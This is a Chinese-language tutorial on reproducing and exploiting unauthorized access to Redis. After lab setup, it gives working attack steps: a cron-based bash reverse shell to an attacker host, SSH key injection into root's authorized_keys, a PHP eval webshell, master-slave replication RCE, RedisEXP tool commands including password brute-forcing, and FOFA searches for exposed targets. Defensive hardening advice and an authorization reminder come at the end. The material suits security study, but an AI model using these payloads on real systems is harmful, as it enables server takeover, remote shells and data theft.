Redis未授权漏洞复现汇总
字数 1199 2025-08-29 22:41:32

Redis未授权漏洞复现与利用全面指南

1. Redis简介与基本概念

Redis是一个开源的、基于内存的键值对存储数据库,具有以下特性:

  • 使用ANSI C编写,支持多种数据结构
  • 支持网络访问,可基于内存也可持久化
  • 高性能,支持分布式扩展
  • 被GitHub、Twitter、微博、阿里、美团、百度等大厂广泛使用

Redis常见应用场景

  • 缓存系统(高频读、低频写的"热点"数据)
  • 计数器
  • 消息队列系统
  • 排行榜
  • 社交网络
  • 实时系统

2. Redis基本命令与配置

常用Redis命令

redis-cli -h ip -p 6379 -a passwd  # 外部连接Redis
info  # 查看Redis信息
set xz "Hacker"  # 设置键值
get xz  # 获取键值
INCR score  # 值增加1
keys *  # 列出所有键
config set protected-mode no  # 关闭安全模式
config set dir /root/redis  # 设置保存目录
config set dbfilename redis.rdb  # 设置保存文件名
config get dir  # 查看保存目录
config get dbfilename  # 查看保存文件名
save  # 备份操作
flushall  # 删除所有数据
del key  # 删除指定键
slaveof ip port  # 设置主从关系
mset k1 v1 k2 v2 k3 v3  # 批量设置键值对
mget k1 k2 k3  # 批量获取键值对

Redis配置文件关键参数

  • port 6379:监听端口
  • bind 192.168.47.173:绑定IP(白名单)
  • save <秒数> <变化数>:自动备份条件
  • requirepass:连接密码
  • dir ./:工作目录
  • dbfilename dump.rdb:备份文件名
  • protected-mode:安全模式(3.2+版本新增)

3. Redis未授权访问漏洞概述

漏洞原理

Redis默认绑定在0.0.0.0:6379,如果没有设置密码认证且未配置防火墙规则,会导致任意用户可未授权访问Redis并读取数据。

漏洞危害

攻击者可利用Redis的config命令进行写文件操作,包括:

  1. 写入SSH公钥实现SSH登录
  2. 写入计划任务实现反弹shell
  3. 写入Webshell获取Web控制权
  4. 利用主从复制机制执行任意命令

4. 漏洞复现环境搭建

靶机环境(CentOS 7)

wget https://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10/src
make && make install

# 解决编译错误
yum install gcc-c++
make distclean
make && make install

# 修改配置文件
vim ../redis.conf
# 修改以下参数:
# daemonize yes
# #bind 127.0.0.1
# protected-mode no

# 启动Redis
../redis-server ../redis.conf

# 关闭防火墙
iptables -F
setenforce 0
systemctl stop firewalld.service

攻击机环境(Kali Linux)

wget https://download.redis.io/releases/redis-7.0.0.tar.gz
tar -zxf redis-7.0.0.tar.gz
cd redis-7.0.0
make
cp src/redis-cli /usr/bin

# 测试连接
redis-cli -h 靶机IP -p 6379 --raw

5. Redis未授权漏洞利用方法

5.1 利用计划任务反弹shell

# 攻击机监听
nc -lvvp 2333

# Redis操作
set xxx "\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

5.2 写入SSH公钥实现SSH登录

# 攻击机生成SSH密钥
ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

# 将公钥写入Redis
cat key.txt | redis-cli -h 靶机IP -x set crack

# Redis操作
config set dir /root/.ssh
config set dbfilename authorized_keys
save

# 如果靶机没有.ssh目录,先创建
mkdir /root/.ssh

# SSH连接
ssh -i /root/.ssh/id_rsa root@靶机IP

5.3 写入Webshell

config set dir /var/www/html
config set dbfilename shell.php
set webshell "\n\n<?php @eval(\$_POST['cmd'])?>\n\n"
save

5.4 主从复制GetShell(Redis 4.x/5.x <=5.0.5)

使用工具:Awsome-Redis-Rogue-Server

python3 redis-rogue-server.py --rhost 靶机IP --lhost 攻击机IP

6. 自动化测试工具推荐

RedisEXP工具使用

# 基本连接
RedisExp.exe -r 目标IP -p 6379 -w 密码

# 执行Redis命令
RedisExp.exe -m cli -r 目标IP -p 6379 -w 密码 -c info

# 加载dll/so执行命令
RedisExp.exe -m load -r 目标IP -p 6379 -rf exp.dll -n system -t system.exec

# 主从复制命令执行
RedisExp.exe -m rce -r 目标IP -p 6379 -L 本地IP -P 本地Port -c whoami

# 主从复制上传文件
RedisExp.exe -m upload -r 目标IP -p 6379 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件

# 写计划任务
RedisExp.exe -m cron -r 目标IP -p 6379 -L VpsIP -P VpsPort

# 写SSH公钥
RedisExp.exe -m ssh -r 目标IP -p 6379 -u root -s 公钥内容

# 写Webshell
RedisExp.exe -m shell -r 目标IP -p 6379 -rp 目标路径 -rf 目标文件名 -s Webshell内容

# CVE-2022-0543利用
RedisExp.exe -m cve -r 目标IP -p 6379 -w 密码 -c 执行命令

# 爆破Redis密码
RedisExp.exe -m brute -r 目标IP -p 6378 -f pass.txt

7. 漏洞防护建议

  1. 升级Redis版本:升级到4.x/5.0.5或更高版本
  2. 修改默认端口:将6379改为其他端口
  3. 设置强密码认证:配置requirepass参数
  4. 网络隔离
    • 绑定内网IP(bind参数)
    • 配置防火墙规则限制访问
  5. 最小权限原则
    • 以非root用户运行Redis
    • 限制Redis配置目录的写入权限
  6. 启用保护模式:protected-mode yes(3.2+版本)
  7. 重命名危险命令:如rename-command CONFIG HTCMD

8. 资产发现与漏洞验证

使用FOFA搜索Redis资产

protocol="redis" && port="6379" && app="redis"

使用afrog进行漏洞验证

afrog -s redis -T redis.txt -S high -o redis.html

9. 总结

Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。防护措施应从网络隔离、访问控制、权限管理和版本更新等多方面入手。安全研究人员在测试时应遵守法律法规,仅在授权范围内进行测试。

Redis未授权漏洞复现与利用全面指南 1. Redis简介与基本概念 Redis是一个开源的、基于内存的键值对存储数据库,具有以下特性: 使用ANSI C编写,支持多种数据结构 支持网络访问,可基于内存也可持久化 高性能,支持分布式扩展 被GitHub、Twitter、微博、阿里、美团、百度等大厂广泛使用 Redis常见应用场景 缓存系统(高频读、低频写的"热点"数据) 计数器 消息队列系统 排行榜 社交网络 实时系统 2. Redis基本命令与配置 常用Redis命令 Redis配置文件关键参数 port 6379 :监听端口 bind 192.168.47.173 :绑定IP(白名单) save <秒数> <变化数> :自动备份条件 requirepass :连接密码 dir ./ :工作目录 dbfilename dump.rdb :备份文件名 protected-mode :安全模式(3.2+版本新增) 3. Redis未授权访问漏洞概述 漏洞原理 Redis默认绑定在0.0.0.0:6379,如果没有设置密码认证且未配置防火墙规则,会导致任意用户可未授权访问Redis并读取数据。 漏洞危害 攻击者可利用Redis的config命令进行写文件操作,包括: 写入SSH公钥实现SSH登录 写入计划任务实现反弹shell 写入Webshell获取Web控制权 利用主从复制机制执行任意命令 4. 漏洞复现环境搭建 靶机环境(CentOS 7) 攻击机环境(Kali Linux) 5. Redis未授权漏洞利用方法 5.1 利用计划任务反弹shell 5.2 写入SSH公钥实现SSH登录 5.3 写入Webshell 5.4 主从复制GetShell(Redis 4.x/5.x <=5.0.5) 使用工具:Awsome-Redis-Rogue-Server 6. 自动化测试工具推荐 RedisEXP工具使用 7. 漏洞防护建议 升级Redis版本 :升级到4.x/5.0.5或更高版本 修改默认端口 :将6379改为其他端口 设置强密码认证 :配置requirepass参数 网络隔离 : 绑定内网IP(bind参数) 配置防火墙规则限制访问 最小权限原则 : 以非root用户运行Redis 限制Redis配置目录的写入权限 启用保护模式 :protected-mode yes(3.2+版本) 重命名危险命令 :如rename-command CONFIG HTCMD 8. 资产发现与漏洞验证 使用FOFA搜索Redis资产 使用afrog进行漏洞验证 9. 总结 Redis未授权访问漏洞危害严重,攻击者可利用多种方式获取服务器权限。防护措施应从网络隔离、访问控制、权限管理和版本更新等多方面入手。安全研究人员在测试时应遵守法律法规,仅在授权范围内进行测试。